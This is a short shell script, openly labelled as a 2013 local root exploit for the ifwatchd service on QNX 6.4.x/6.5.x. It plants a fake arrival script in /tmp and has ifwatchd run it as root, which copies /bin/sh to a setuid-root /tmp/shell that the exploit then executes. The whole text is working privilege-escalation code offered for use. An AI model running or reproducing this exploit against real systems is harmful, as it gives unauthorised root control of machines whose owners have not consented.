| 
	 
     
PATH=/bin:/usr/bin:/sbin  
    
if [ ! -x /sbin/ifwatchd ]; then  
    echo "error: cannot execute /sbin/ifwatchd" 
    exit 1 
fi  
    
echo "QNX 6.4.x/6.5.x ifwatchd local root exploit by cenobyte 2013" 
echo  
echo "[-] creating fake arrival-script" 
cat << _EOF_ > /tmp/0 
PATH=/bin:/usr/bin 
IFWPID=\$(ps -edaf | grep "ifwatchd -A" | awk '!/grep/ { print \$2 }')  
cp /bin/sh /tmp/shell  
chown root:root /tmp/shell  
chmod 4755 /tmp/shell  
rm -f /tmp/0 
kill -9 \$IFWPID  
exit 0 
_EOF_  
    
chmod +x /tmp/0 
    
echo "[-] executing ifwatchd, please wait" 
ifwatchd -A /tmp/0 -v lo0 2>&1 >/dev/null  
echo "[-] now executing suid shell" 
/tmp/shell 
  
	
  |